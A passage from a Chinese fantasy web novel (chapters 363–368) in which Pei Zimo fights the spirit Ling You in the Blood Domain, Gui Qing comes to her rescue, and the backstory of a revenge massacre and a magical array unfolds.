摆在眼前的只有两条路,一条是去找那个老和尚,任月舞去过沈易安的老家,她的这些都东西,肯定都是老和尚给她的,所以找到老和尚,这铁链估摸着就能打开了。 另外一条路,就是直接去找裴子墨。 裴子墨手上有七杀斩,七杀斩说不定能斩开这铁链,就算七杀斩不能,裴子墨大概也会有别的办法。 不过这个问题在白锦夜的脑海里思索了片刻就有了答案,他去找老和尚,一来一回快也要五六天,到时候裴子墨就走得更远了,他更不可能追上了。 况且这铁链足够长,倒是也不是很影响他做事,眼下实在没必要往老和尚那折腾一趟。 他斟酌了下之后,决定跟左辞兵分两路,他骑快马往北去追裴子墨,因为他们的路程已经相差了好多天,就算骑最快的马,也不知道要什么时候才能追上。 而且眼下他只知道一个目的地,就是那处断崖,如果他在裴子墨到断崖之前追不上她,他根本就不知道裴子墨会去哪。 所以就让左辞去找那个老和尚,一是问一问这铁链要怎么解开,另外就是问问老和尚说的那个地方是哪。 等左辞问到了之后,就去北冥国找他。 两个人在圣殿碰面。 如果左辞到了圣殿,等上半个月还没等到他,那就是他追到了裴子墨。 安排好之后,白锦夜便赶紧出发了。 第363章 你有心上人了? 如裴子墨所料,白锦夜自然是最先到断崖。 但是他往山上走的时候,便隐约看出这里最近并没有人来过,果然到了山顶,也就是扑了个空。 他在断崖上站了半响,轻轻叹了口气,转身往圣殿走。 只不过刚走到圣殿脚下,就见楚星玄骑马跑了过来。 楚星玄大概也没想到会在这里遇到白锦夜,先是怔了一下,才开口道,“快跑!” 白锦夜当即想起裴子墨说过话,一扬马鞭,迅速的跟上了楚星玄。 楚星玄知道上圣殿的捷径,两个人倒是有惊无险地进了圣殿的藏书阁,也打开了圣殿的阵法。 “呼。”楚星玄松了一口气,这才转头看向白锦夜,目光也落在他手脚的铁链上,“你这是……当下什么流行的装扮么?” 白锦夜看着他,“你不是也会术法,看看能不能帮我打开。” 楚星玄拉起铁链,看了会,“这是谁锁的?不会是裴子墨吧?” 白锦夜摇了摇头。 楚星玄撇了撇嘴,“这个我确实也不太会,我虽然会些术法,但是我们暗城主要养蛊,我感觉我的蛊虫啃不断这铁链。”他说着四下看了看,“反正不知道要在这呆多久,多看看书吧,说不定书上有什么办法。” 说到这,他突然想起什么,退了几步,护在自己储存的事物前面,他一开始偷偷调查他娘的事的时候,就感觉确实有什么问题,但是他也说不清楚。 之后想到裴子墨说他可以来圣殿避一避,便开始在这边储存食物和水,虽然希望用不上,可是有备无患。 不过他也只准备了他一个人的,哪知道会在这里碰上白锦夜。 他有点后悔带着白锦夜一起进来了。 “放心吧。”白锦夜扫了他一眼,“我可以不用吃。” “哦,对。”楚星玄点点头,“忘了你是冥尸了。” “外面……是你爹在追你?”白锦夜贴在门上听了听,不过暂时还听不见什么动静,估计圣殿的阵法启动,他们一时半会也进不来。 楚星玄苦笑了一声,隔了半响才道,“是他,不过那恐怕也不是我爹。” 白锦夜耸了耸肩,看样子确实是在裴子墨的猜测之中,他也就没说话。 “怎么,裴子墨跟你说什么了?”楚星玄见他也不算是吃惊的样子,便开口问道,“她是不是早就知道了什么,才会暗示我去查?” “她也只是大概猜到一些,不过不确定。”白锦夜往书架边走,“反正你现在这不是清楚了么?” 楚星玄跟了过去,本来这事情确实也有点颠覆三观,他之前也没想着找人倾诉什么的,但是眼下有了个人,就有了想要说说话的想法,“裴子墨跟你怎么说的啊?” 白锦夜看了他一眼,“你都知道了真相,还想知道她是怎么猜的么?” “哎。”楚星玄叹了口气,“反正要在这里呆这么久,闲着也是闲着,就说说呗。” 白锦夜沉默了会,才道,“她说你们暗城可能有什么魂魄传承一类的,或者你可能根本不是楚云颂和你娘生的,你这身体是将来他自己要用的。” “啧啧。”楚星玄摇了摇头,“我就说,这些圣女都精得不行,果然是……你跟裴子墨在一起,肯定也是被拿捏得死死的,想想你也挺可怜的。” 白锦夜皱了下眉头,抬眼看向他,“虽然在这里不知道要呆多久,但是有这么多书可以看,你实在不会说话可以不说。” “被我戳心窝子了?”楚星玄笑着看他,“我就猜到,你没跟裴子墨在一起,又跑来圣殿,肯定是巴巴的来找她了。” 白锦夜这次翻开书,没搭话。 但楚星玄多少是开心了,他一个人不开心多无聊,现在有白锦夜陪他一起不开心,他觉得心里平衡了不少,于是也拿起一本书,随意地翻着,“哎,以前我爹对我特别好,我在整个暗城横行霸道的,也没人管我,我就算是把天翻过来,他也只是说我既然是暗城少主,就该活得恣意。” “我一直觉得,我虽然没有娘,但是也过得很开心。” “可哪知道……哎,都是给人做嫁衣。” “我把他当成我在这世界上最亲近的人,我把他当亲人,我叫了他二十多年爹,结果他根本不是想要一个儿子。” 楚星玄说着轻哼了一声,“怪不得,我每次跟他提起我的婚事他都说不着急,敢情是根本不想让我成亲。” 听到这,白锦夜才抬起眼,“哦?你有心上人了?” “那倒也不是,我当时不就是想,暗城和圣殿的关系不太好,我和裴子墨年纪差不多,只要结亲了,大家不久不会再关系差了么?我当时跟我爹提这个事,他那表情就是想要打死我了。”楚星玄撇了撇嘴,“你说我本身就是为了暗城考虑啊,他怎么就翻脸了?” 白锦夜皱起眉头,眼底闪过一抹不快,“你还有过这种想法?” “这不正常么?”楚星玄摊了摊手,“难道你没认识裴子墨之前,就没想过在天风国内,找个跟你地位差不多的,强强联姻?” “没你想的这么多。”白锦夜嗤笑一声。 “你吃什么醋?我只是提一下这个想法,又没有真的要这么做。”楚星玄有点无语。 “可如果你爹同意了,你不就要这么做了?”白锦夜瞪着他,“还真是要谢谢那个不是你爹的你爹。” “你这个人真是不讲道理。”楚星玄收回目光,“懒得跟你说。” “不过就算你爹同意,我觉的这婚事也成不了,裴子墨大概看不上你。”白锦夜又道。 楚星玄摆了摆手,“行行行,看不上我,能看上你,那你倒是跟着她啊,怎么一个人跑到圣殿来?咱俩说不定半斤八两呢。”他说着抬手摸了摸下巴,“不过你倒是给了我一个好的建议,我爹这不知道要追我多久,我肯定也不能回暗城了,我不如投奔裴子墨吧。” “做的你春秋大梦吧。”白锦夜说着顿了顿,轻轻皱起眉头,他们不知道要在这呆多久,左辞说不定过几天就要来了,万一在外面遇到暗城的人,这可麻烦了。 第364章 地府的好东西更多 裴子墨也是第一次到血域。 从北冥国一直往西,走了差不多二十天,才终于到了血域的地界。 刚进入的时候,脚下的土地只是隐隐的有些红色,越往里面走,这土地的红色就越深。 裴子墨蹲下身,捏起了一捏土,在手里仔细地看了下,这颜色虽然和血接近,但是这土里并没有血,大概是这些沙土本身就是这个颜色,所以才会被叫成血域。 这地方就连长出来的花草树木,都带着红色的纹路。 略一看上去,整个世界都像是红色的。 寒羽坐在马车里,皱眉看着外面,然后开始催促裴子墨,“快走吧,这里看着好别扭啊。” “这就走。”裴子墨抬眼四下看了一圈,回到了马车上。 进鬼王沙漠之前,裴子墨就已经打发了车夫,之后大部分时间,都是寒羽自告奋勇的赶马车。 不过到了血域之后,寒羽就坐在马车里面,死活都不肯出来,赶马车的任务自然只能落在裴子墨的身上。 裴子墨也知道修罗一族不喜欢红色,在整个地府,也很难见到这样的颜色,不过眼下,确是连避都避不开了。 他们在血域走了六天,也一个人影都没见到,甚至连村落都没见到,整个地方像是毫无人烟,就连动物飞鸟也都很少见。 不过老和尚说的地方,应该也不难找,因为这血域基本上都是平川,他们走了这么多天,都没有见到山包,只是往北边看去,能隐隐的看到那里像是有起伏的山脉。 所以如果说是山崖,那估计应该就是在那里了。 但是望山跑死马,他们走了这么多天,好像距离却完全没有缩近。 裴子墨转头往马车里看了一眼,好在那老和尚的药丸说是能保存凌珞的身体一年,他们还有时间。 正往前走着,马却停了下来,在原地不停的踏步,又发出低声的嘶鸣,像是在害怕什么。 裴子墨拧了拧,“寒羽,可能有危险,小心些。” 寒羽吸了吸鼻子,拉开马车的车帘,看到外面的红色,又往回缩了缩,“他爹来了。” “谁?”裴子墨一开始没明白,但是转头见寒羽指了指凌珞,心里不由一抖。 她早就猜到凌幽还会来找她,只是没想到他会在这个时候来。 “小心。”裴子墨对着他低声道,“他也许不会对你下杀手,若真是落在他手上,你就说你爹已经知道你在这了,正打算带你回去,先唬住他,知道么?” 寒羽沉默了会,点了点头。 裴子墨握紧了七杀斩,警惕地看着周围。 片刻之后,凌幽的魂魄便出现在了马车前面,盯着马车里面,冷笑了一声,“我这儿子果然傻到了家,让他跟我一起下断崖,他不肯,非要带着你们下去,结果东西没分到,小命都没了。” 他说着目光回到裴子墨身上,像是有些看不明白,“不是共命?怎么他死了,你还活着?” “你就那么想看我死么?可惜让你失望了。”裴子墨眯了眯眼。 想不明白这件事,凌幽倒是也不在意,“把凌珞和你们从断崖下面带出来的东西留下,我可以饶了你和这只小修罗的命。” “想不到,你这个当爹的,还知道挂念自己的儿子。”裴子墨开口道。 “他都已经不把我当爹了,我还挂念他做什么?”凌幽说着抬起手,看着自己透明的身体,“这还不是拜你所赐,我自己的身体没有了,凌珞毕竟是我的血脉,又可以打开黄泉路,在这世上,没有任何人比他更合适让我复生的了。” 裴子墨拧起眉头,没想到凌幽打的是这个主意,若是这样,那就更不能让他碰到凌珞的身体,不然到时候凌珞就没办法回来了,“有本事你就抢。” “敬酒不吃吃罚酒。”凌幽的话音落下,他的身边就开始起了风,风势越来越大,逐渐把整个马车都包围住。 裴子墨和寒羽被风沙吹得完全睁不开眼睛,她横过七杀斩挡在前面,算是把这风沙撕开了一条缝隙。 那老和尚给她的符咒只能用一次,所以必须得找到合适的机会,一击必中,不然现在她在凌幽面前,一点胜算都没有。 凌幽也趁着风沙卷起的时候,迅速地到了两个人的面前。 寒羽低吼了一声朝凌幽扑过去,只是没有扑到跟前,就被凌幽一掌拍开。 裴子墨看过去,便见寒羽被打出了风沙的范围,倒在了地上。 不过修罗皮糙肉厚的,这一下对他也不算什么,他正要爬起来的时候,凌幽却甩过去一道符纸。 那符纸刚好贴在寒羽的背心上,又把刚刚要爬起来的寒羽压回了地面。 符纸的位置刁钻,寒羽试图伸手去摘掉符纸,可是却怎么都碰不到。 只能被这符纸压得一动都动不了。 凌幽冷笑一声,“我关了这修罗千年,早就把修罗的事情都摸得一清二楚,还妄图跟我动手?真是不自量力!” 裴子墨用七杀斩朝凌幽砍去,凌幽侧身躲过,一只手掐住了她的脖子,一只手抓住了她拿着七杀斩的手腕。 “当初你便是用这七杀斩毁了我的身体,如今也该让你尝尝这七杀斩刺入身体的滋味。”凌幽说着用力地压着裴子墨的手腕,把七杀斩的剑刃朝她自己的胸口压去。 裴子墨眯眼看着凌幽,眼见着剑刃已经划破了外衣,凌幽却突然嚎叫一声送开手后退了几步。 裴子墨跌倒在地上,风沙散去,凌幽捂着肋下,等他放开手的时候,便见到那里有一块已经变成了黑色。 凌幽的脸色震惊,目光落在裴子墨的另外一只手上,显然刚才刺伤他的,便是那一尺多长的尺子,“你还真是……有些好东西。” 裴子墨知道这是那位仙人的武器,可是至今不知道该怎么用,也就只能像短刀一样刺过去,她也完全没想到这尺子虽然无锋,却可以轻易的刺进凌幽的魂魄之中,并且伤到他,“地府的好东西更多,要不要我送你过去抢?” 第365章 老和尚的符咒浪费了 凌幽咬了咬牙,深吸了一口气,自己在那黑色的地方写了几道符咒,都不见有任何的变化,他干脆就放弃了,重新向裴子墨扑过来。 裴子墨如今的术法阵法都在凌幽之下,所以她使出任何术法对凌幽都造不成什么伤害。 而七杀斩可破一切术法,所以即便凌幽的术法在她之上,也差不多都能被七杀斩破掉。 但即便如此,裴子墨用七杀斩破凌幽的术法,也要耗费不少体力。 凌幽显然是也看出来了,那尺子他是不敢再碰了,于是就在尺子的攻击范围之外,用术法攻击裴子墨,以此消耗她的体力。 裴子墨拧着眉,如此下去,她的体力早晚被耗光,到时候就只能任凌幽鱼肉了。 她皱了下眉头,一边躲着凌幽的攻击,一边往寒羽那边挪去。 如果能摘下那到符咒,寒羽起码能帮个忙,分散些凌幽的注意力,她说不定有机会用上老和尚给的符咒。 眼见着已经到了寒羽的旁边,凌幽却用一道透明的墙壁隔在了她和寒羽之间,如果她用七杀斩去斩破墙壁,就给凌幽留了可以攻击她的空隙,她如果一直防备着凌幽,就没办法解救出寒羽。 裴子墨咬了咬牙,正打算找个机会拼一把的时候,凌幽连着对她打出几道符咒之后,转身就往马车上的凌珞扑去。 糟了! 裴子墨知道,一旦凌幽进了凌珞的身体,她若是没有办法把凌幽的魂魄逼出来,那再攻击凌幽,最先伤害的,就是凌珞的身体。 她自然不能给凌幽这样的机会,根本没有时间再考虑,拽出老和尚给她的那道符咒,就像凌幽扔过去。 凌幽的手已经碰到了凌珞的胳膊,可是却感觉背后一道巨大的力量朝他袭过来。 他感觉得到自己完全不是这道力量的对手,只能暂时舍弃凌珞,疯狂的往后退,躲开这符咒。 裴子墨也知道,这符咒大概率是浪费了,如果找到好的机会,明明可以抓住凌幽的,可如今却只是把他短暂的逼退一次。 眼下也没时间再管寒羽,她迅速地回到了马车前,挡在凌珞的前面。 凌幽退了很远,最后不得不以符纸和术法为自己简单做了个替身,朝那符咒扔过去,那符咒才落在地上,一动不动了。 他有些心有余悸到底看向裴子墨,不知道她到底都是哪里来的这些保命的东西。 裴子墨看着他,轻笑一声,“还以为没有你怕的东西,可眼见着也不是嘛,要不要再试试?” 凌幽在原地站了半响,最后才冷笑一声,“我赌你没有这东西了。”说完就再次往前袭来,这东西若是裴子墨能拿出十个八个的,估计一开始就用了,不会等到这时候才用。 但是这符咒显然是让凌幽心里多少生了畏惧,就怕裴子墨还有什么底牌,眼下动手丝毫不再手软。 瞬间裴子墨就被凌幽的术法包围住,她刚用七杀斩破开一处术法,就会立刻被更多的术法补住缝隙。 “到此为止了,裴子墨。”凌幽的话音落下,蓦地出现在裴子墨的身后,一掌朝裴子墨打去。 裴子墨本以为这一下攻击会被血莲反击,可是血莲却毫无动静,她直接飞了出去。 落在地上的时候,裴子墨感觉自己的五脏六腑都移了位置,紧接着一口血就喷了出来,她擦了擦嘴角的血,转头看向凌幽,大概明白,凌幽用了血莲,身上有血莲的气息,所以血莲可能以为是同类,就不会攻击,眼下这血莲是指望不上了。 七杀斩也因此掉落一旁,裴子墨只能握紧了手里的尺子。 凌幽捡起七杀斩,慢慢地朝裴子墨走过来,走到她身前,剑尖便朝她的胸口刺去。 裴子墨立起尺子挡住剑尖。 凌幽嘴角含着一抹笑,显然她这动作无异于螳臂当车,就算能挡住一时,也很快就会被他把七杀斩刺进胸口。 甚至于他选择刺剑的位置,都是当初裴子墨刺他的地方。 “你不要杀她。”寒羽在远处大喊道,“我警告你,我爹……我爹已经知道我在这了,他马上就会来找我了!你要是敢杀她,我就让我爹杀了你!” 凌幽听到这话,像是听到了什么好笑的笑话,他笑了半响,才瞥了寒羽一眼,“真是个可怜的小修罗,你爹啊早就知道你在哪了,我把你从地府带走的时候,你爹就知道了。他嫌弃你是个傻子,丢尽了他这修罗王的脸,可是他又不能杀了你落人口实,他更不愿意把修罗王的位置传给一个傻子。” “你对他来说,就是个耻辱!在发现你是个傻子的那天,他当即就把你娘给杀了。我把你带走,他简直求之不得!如果不是他,你以为我会知道怎么把一只修罗从地府带到人间?他如果没有默许,我怎么可能在炼魂谷里带走修罗王的儿子啊?他欠了我这么大个人情,怎么会杀了我呢?” “所以啊,就算你爹知道你在哪,他也不会来找你的,他巴不得你早就死了,巴不得你再也不要回到地府!” “你胡说!”裴子墨拧着眉,虽然寒羽和修罗王的关系已经不可能再修复了,但是他心性单纯,从琼华山出来到现在,也没有伤过人,可是若是让凌幽把他的兽性激发出来,发狂的修罗就不知道会伤害多少人了。 “我是不是胡说,等到了地府,你可以亲自去问问修罗王。”凌幽说着手上用力,剑尖在尺子上划开,刺进了裴子墨的肩头。 他又拔出剑,趁着裴子墨吃痛没有防备的瞬间,再次朝她的胸口刺去。 只不过眼见着剑就要刺进裴子墨的胸口,凌幽突然被人击中,倒飞而出。 裴子墨捂住伤口,下意识地朝寒羽的方向看去,却见寒羽依旧被压在地上动不了。 显然救了她的并不是寒羽,不过对方救了她,起码暂时看起来应该不是敌人。 凌幽在地上打了个滚赶紧站起来,警惕地看着周围,“什么人?” 第366章 裴卿 伴着一阵风沙,两个人慢慢地走过来。 看着出现的人,裴子墨松了一口气。 冷鸢迅速的跑到裴子墨的旁边,抬手扶起她,“圣女。”说着又查看了下她的伤势,虽然没有伤到要害,但是被七杀斩刺中,这伤也和别的伤口不一样,她的脸色闪过一抹凝重。 鬼卿看了裴子墨一眼,轻轻抿了下唇,随即朝凌幽走过去。 凌幽看着鬼卿,皱起眉头,半响才道,“是你?” 鬼卿没有说话,手在身前捏了几个印诀。 刚刚凌幽占上风的局势瞬间被扭转,如今他就成了刚才的裴子墨,拿着七杀斩费力地破开鬼卿的术法。 只不过他用七杀斩可没有裴子墨用的那般顺手,片刻之后就漏洞百出。 看着裴子墨都打不过的凌幽却被鬼卿打得节节败退,冷鸢沉默了会,才转头看向裴子墨低声道,“他……好像和以前不一样了。” 裴子墨点点头。 冷鸢觉得自己可能描述的不是那么恰当,便又道,“他像是变了一个人。” 裴子墨转头看向冷鸢,“你和他一起来的血域?” 冷鸢点点头,“是,不过他在血域没有待很长时间,中间出去了一趟,说是有事要做,也是不久之前才刚刚回来。我们也不知道你来了血域,是他一直在追这个人的行踪,倒是没想到……” “你呢?”裴子墨转移了话题,“你跟着他一起来血域,没什么收获么?” “我之前听说他要来血域,他一个人我也不放心,不过……显然是我多虑了。”冷鸢轻轻叹了一口气,“这个人是谁?为什么要对你动手?” “来抢东西。”裴子墨微微皱了下眉,这段时间发生的事情太多,她一时也没办法跟冷鸢全都解释清楚,正要再说话,却听寒羽在一边叫她,她无奈地笑了笑,让冷鸢帮忙把寒羽背上的符咒揭了下来。 那边鬼卿也解决了凌幽,把他的魂魄收了起来,从地上捡起七杀斩朝裴子墨走过来。 走到跟前,鬼卿把七杀斩转过来,剑柄递向裴子墨。 裴子墨接过七杀斩,打量了鬼卿一眼,开口道,“好久不见。” “是。”鬼卿点点头,“好久不见。” “现在感觉怎么样?”裴子墨又问。 “挺好的。”鬼卿说着看向揭下了符咒,朝他们这边走过来的冷鸢。 裴子墨也顺着他的目光看了一眼,“她还不知道么?” “不知道。”顿了顿鬼卿又补充,“现在这样也挺好的,我也不希望她知道。” “也是。”裴子墨应了一声。 鬼卿原名是裴卿,就是裴黎的师叔。 当年他被姐姐护住,残存了一口气,虽然没死,但魂魄也已经开始在人世和地府摇摆。 那会裴子墨刚好在谋划这一世的安排,她算到自己需要有人提前帮她布置好九星灭仙阵,而裴卿便是最好的人选。 于是她帮了裴卿,也在地府帮了他姐姐,那时他姐姐就快魂飞魄散,她答应了裴卿不会让他没有姐姐,而冷鸢便是他姐姐这一次的转世。 裴卿便开始帮忙寻找九星灭仙阵的九个人。 她其实交代了他这件事不急,让他慢慢来,寻找那些将死之人,不要乱杀无辜。 可裴卿为了替亲人报仇,就直接把目标放在了当时的“十一公”身上。 裴子墨知道的时候,“十一公”的人都几乎被屠戮殆尽,她只能让裴卿陷入了沉睡,也封印住了他的记忆和心里的恨意,多年之后苏醒,幻化成小孩子的模样,被她师父裴洛带回圣殿。 这点幻术骗过裴洛并不难,况且那些年裴卿也很少出圣殿。 但是后来一次意外,导致裴卿旧伤复发,裴子墨不得已才只能找了办法,跟凌珞一起把他炼制成冥尸。 在落入忘川之前,裴子墨是都不记得这些的,只是靠袁澈的提醒,让鬼卿回到血域,在这里才能解开他记忆的封印,让他恢复之前的记忆。 他恢复了记忆,是可以继续帮她完善九星灭仙阵,但随之而来的,也还有对当时害死他亲人的恨意。 那萧家本来还有几十年的运道,只不过萧公瑾以术法和阵法提前预支了家族的运势,运势衰微,就算鬼卿没有动手,他们很快也会因为其他的事被株连。 这事裴子墨早就清楚,唯一能保下的,也不过就是萧尺寒。 她给萧尺寒的那道符咒,就是给鬼卿辨别身份的,鬼卿感受到那符咒上的气息,便知道那是她要护的人,自然不会再对萧尺寒动手。 当年的裴卿杀了那么多人的时候,裴子墨也确实动过直接了结他的念头。 只是……她的卦象里,凌幽是个变数,而凌幽唯一的克星,便是裴卿。 毕竟当年伤害裴卿一家的,如今还在外面多的,也就只有凌幽。只要凌幽活着,裴卿就会一直死死的咬着他。 本来上一次凌幽就应该被吸附到阵法里,可是因为他利用了柳浅,逃过一劫,如今,这九星灭仙阵,加上凌幽的魂魄,基本就成了。 她算是为了自己,才没有杀裴卿,让他活下来,所以把裴卿炼成冥尸之后,确实让他每年都要出去做善事,弥补曾经的杀业,虽然中间也有不少时候,他会被凌珞控制去做其他的事情,但做善事这种事情,永远都不怕晚。 “你护住了我姐姐的魂魄,让我们能团聚,这一次等我把凌幽的魂魄放进阵法里,答应你的事,就做完了。”鬼卿开口道。 裴子墨点点头,“之后有什么打算么?” 鬼卿没说话。 冷鸢也和寒羽一起走了过来。 寒羽有点蔫,他刚才被迫趴在地上,一直盯着那红红的地面,现在整个人都不好了,他拧着眉催促道,“是不是没事了?没事了咱们赶紧走吧。” “你们来血域,是有什么事么?”鬼卿看了一眼马车,他能感觉到凌珞就在马车里,但是凌珞的身上没有了一丝气息。 裴子墨点点头,把来血域的目的说了一遍。 没等鬼卿说话,冷鸢倒是先开了口,“那里还很远呢,你又受了伤,我跟你一起去吧,还能照顾你。” 裴子墨看了鬼卿一眼,嘴角微微勾了一抹笑,她猜得到,鬼卿现在可能想要尽快把凌幽的魂魄送到阵法里,他答应她的事情做完,就彻底的恢复自由之身了。 可如今冷鸢要跟她一起走,鬼卿大概也没有别的选择了。 第367章 旬尘和遁世岛 这次换成了鬼卿赶马车,寒羽呆在马车里死活不肯出去,所以虽然马车不小,但是多少也显得有点拥挤了。 “你在这里,我要怎么给我家圣女包扎伤口?”冷鸢拧眉盯着寒羽,莫名的觉得这个人看着有些不顺眼。 “我不看就是了。”说完寒羽转过身体,闭上了眼睛,“再说,我们修罗对你们人也没兴趣,有什么可怕的?” “修罗?”冷鸢诧异地看了看寒羽,又看向裴子墨求证。 裴子墨轻轻点点头。 冷鸢也没想到活着的时候还能见到一只修罗,忍不住多看了两眼,随即一边给裴子墨包扎伤口一边低声问,“还以为你和白锦夜他们在一起呢。” “没有。”裴子墨垂下眼。 “怎么了?他是不是做什么对不起你的事了?他要是敢,我就杀了他。”冷鸢顿时来了火气,本来她就不希望裴子墨跟白锦夜在一起,觉得这已经是白锦夜高攀了,他要是还敢恬不知耻的做出什么伤害她们圣女的事,她绝对不会放过他! “没有。”裴子墨笑了笑,“只是我不想他再跟着我做这些危险的事情,他本来就是个普通人,没必要一直这样跟着我冒险。” “那也算是他有自知之明,跟着我们,确实只会拖后腿。”冷鸢哼哼了两声,对这个结果比较满意。 鬼卿恢复记忆之后,对裴子墨以前的事多少知道一些,他知道裴子墨有个非常厉害的仇人,那九星灭仙阵就是给那个人准备的。 她要筹谋上千年来应对,就证明对方绝对不容小觑。 这会他听着马车里面两个人的对话,便大概猜到,恐怕离那个仇人出现不远了。 鬼卿握着缰绳的手微微收紧,他这条命是裴子墨救回来的,假设哪一天就算是因为裴子墨死了,也全当是还给她了。 可是冷鸢不一样,他不希望她有任何的危险,只希望她平平安安的过这一生。 赶路也无聊,于是裴子墨也就把这些日子发生的事,大概跟冷鸢讲了讲。 趁着休息的时候,裴子墨也拿了那本古字的书给鬼卿看,他们两个不一样,她的记忆掺杂了几世,有些细碎的记忆很杂乱,但是鬼卿之前基本都在沉睡,之后醒来的记忆也不过十几年,前后断裂没有那么严重。 鬼卿看着书上的字,能认出来的确实比裴子墨多一些,可是也还是没办法让字都连贯起来。 冷鸢和寒羽坐在远处看着正在看书的两个人,她托着下巴笑了笑,开口问道,“你看我们圣女跟鬼卿在一起是不是更般配些?比那个白锦夜看着顺眼吧?” 寒羽正在吃东西,听了冷鸢的话,朝裴子墨和鬼卿看了一眼,不过没接这个话,只是说,“你煮东西的味道跟左辞好像啊。” 听到寒羽提这个人,冷鸢的脸上闪过一丝异样,半响才道,“他做的东西那么难吃,还不是我教他的?” “你教他的?”寒羽像是听到了什么天大的好消息,“这么说,你煮饭比左辞更好吃了?” 冷鸢转头看他,“怎么了?” “这些天,我每天都在啃馒头吃烧饼,已经好多天没有好好吃一顿饭了。”寒羽有些委屈。 “还敢指望我们圣女亲自给你下厨么?”冷鸢轻哼了一声,顿了顿又道,“让我给你做点好吃的也行,但是你得告诉我,你觉得我们圣女跟鬼卿看起来更般配还是跟白锦夜在一起看起来般配?” 寒羽又看了看裴子墨的方向,想到左辞和白锦夜的关系,低下头没说话。 “哎。”冷鸢叹了口气,“我刚才去捡树枝的时候,看到那边的树林里有山鸡,要是抓到了山鸡,褪了毛,用泥巴包上烤一烤,等烤熟了,敲掉泥巴,鸡肉飘香,入口酥烂肥嫩,真是想一想都馋的不行。” 寒羽默默地咽了口口水,说,“我去抓山鸡。” “切。”冷鸢翻了个白眼,靠在一边,闭上眼睛不说话了。 寒羽又沉默了会,才开口道,“其实,确实要和更强的人在一起,所以……所以他们看着还挺般配的。” 冷鸢笑着睁开眼睛,“好,你可要记住你说的话,下次见到左辞的时候,也要这么跟他说。” 寒羽暗暗地撇了撇嘴,站起身,“那我去抓山鸡了?” “去吧去吧。”冷鸢开心的摆了摆手。 * 裴子墨轻轻叹了口气,“这段时间下来,倒是得到了不少东西,可是几乎都不知道怎么用,不然……将来胜算也能多一些。” “急不来。”鬼卿开口道,他说着继续看着手上的书,隔了会才问道,“你刚才说的那个老和尚,知道他叫什么?” 裴子墨摇了摇头,“有一次吃东西的时候,问起过,他说了个字之后就停了下来,然后就马上说出家人没有名字。”她说着想了想,“他说的那个字,是‘寻’这个音,但是具体是哪个字就不知道了。” 鬼卿抬手指着书上的一行,“这里,这几个字我能辨别一些,旬尘……脱……困……世岛……败……死。”他说完抬头看向裴子墨,“你说那老和尚是在困阵之中?” 裴子墨拿过书,她也就只能认出“世”和“死”两个字。 但鬼卿认出来的字,让她死死地皱起眉头。 如果那个老和尚叫旬尘。 他确实是在困阵之中。 假设他可以脱困。 那这“世岛”指的是遁世岛么? 后面的“败”和“死”两个字,就不知道指的是谁了。 “看样子你的猜测是对的,这本书大概就真的是预测未来的。”鬼卿说着沉默了一会,“如果大胆的猜测一下,会不会是那老和尚脱困之后,引来了遁世岛的人?” 裴子墨抿起唇,“也不是不可能,之前我就不懂那老和尚为什么没有被遁世岛的人发现,还以为他跟遁世岛有什么关系。如今看起来,可能是因为那困阵。困阵困住了他,但是也防止了别人发现他,一旦他脱困,就会被遁世岛的人注意到。”她又把书递回到鬼卿面前,“还有别的字能认出来么?比如……大概时间一类的,能看到么?” 第368章 三生石可没那么容易碎掉啊 鬼卿正要看,这几行字却消失了,取而代之的是另外一段字。 这一段字里面,他也就只是认出“地”和“生”两个字。 裴子墨眼里闪过一抹失望,她轻轻叹了口气,“也不知道这书上消失的事情,是不会再发生了,还是发生了什么变化,又或者只是单纯的每件事只展示片刻,随后就变成了别的事情。” “这和萧家的能力倒是有点像。”鬼卿开口道。 裴子墨转头看向鬼卿,话到了嘴边,却没有再说下去。 “可惜了。”鬼卿轻叹了一声,“萧家如今已经没什么人存世,不然若是能看到些画面,配合这书,应该是最好的。” “倒也不是没有,还有萧尺寒。”裴子墨轻轻皱起眉头,“他们这一脉,幻术只能由女子习得,但是预见未来的能力,却是随机觉醒,如今萧家就只剩下萧尺寒,那这随机就变成了百分之百。看样子,等安顿好凌珞,真的要去找一趟萧尺寒了,希望还来得及吧。” “遁世岛……”鬼卿重复了一边这个名称,隔了会才问,“你刚才提起遁世岛的时候,看起来有些紧张,你要应对的人,就是遁世岛的人么?” 裴子墨一开始找上他的时候,也不过就是简单地提起过自己有仇人,并没有说过遁世岛,眼下他猜到了,她也就点了点头。 “我好像听我娘提起过遁世岛。”鬼卿说着眯了眯眼。 见他似乎是在回忆,裴子墨便没有打断他。 半响后,鬼卿才道,“她好像说遁世岛是仙岛,圣女一脉的最初几任圣女都去了遁世岛,但是去遁世岛的要求严苛,她不希望我和姐姐任何一个人去,因为她不想我们一家分离。”他说着声音也慢慢低下来,随即又轻笑一声,“如今我和姐姐还能团聚,早就不知她如何了。” 裴子墨轻轻叹了口气,“就算是仙岛,也不见得是好地方。” “是啊。”鬼卿点点头,“如果在这个世界成为佼佼者才能去那里,那么到了那里,说不定就是术法最低级的人,又可能要受着很多和这里完全不同的规矩,确实不见得是好地方。” 裴子墨转头看着鬼卿,轻笑了一声,“没想到你以前是个这么通透的人,怪不得裴黎说你天资聪慧,差点就成为圣女一脉的继承人。”她说着眯了眯眼,“只可惜,太多的人想不明白这件事。” 毕竟她自己就是亲历者,为了那一个遁世岛的名额,多少人都丧了命。 说完,裴子墨想起什么,又问道,“我们好奇过一件事,萧玲珑应该是一生都没有成亲,但是她生前跟着你东奔西走不少时间,萧家的后人是哪来的?” “你以为萧家的后人跟我有关系?”鬼卿嗤笑了一声,“当年你跟我说,你算到‘十一公’会逐渐衰落,你说九星灭仙阵还没有那么急,让我等着他们都快死的时候,再找上他们收集魂魄。” “我确实听了你的话,一直在后山没有离开,那时候也根本没人知道我还活着。” “后来是萧家找上了我。是他们告诉我,‘十一公’想要唤醒九天玄女,但是如今血脉分散,也许要血脉归一才能唤醒九天玄女。他们想要我帮忙除掉另外十脉,留下他们这一脉,到时候唤醒九天玄女,他们是最大的功臣,有好处也不会忘了我。” “可当年他们对我全家做的事情,我还没有忘记,我怎么会与虎谋皮?我不答应,他们说他们就会把我还活着的消息告诉其余十家,到时候他们就会一起对我动手。” “要么我先动手除掉他们,要么就等着他们联合起来想办法除掉我。” “萧玲珑说,到时候她只要施放一个幻阵,那十脉的人也会互相残杀,只不过这笔账最终还是要算到我的头上,然后他们萧家再把我除掉,就会成为‘十一公’中的救世主。” “反正你也说了,‘十一公’势必衰败,我本来也需要那九个魂魄,他们都已经逼上门了,我还有什么可手软的?” 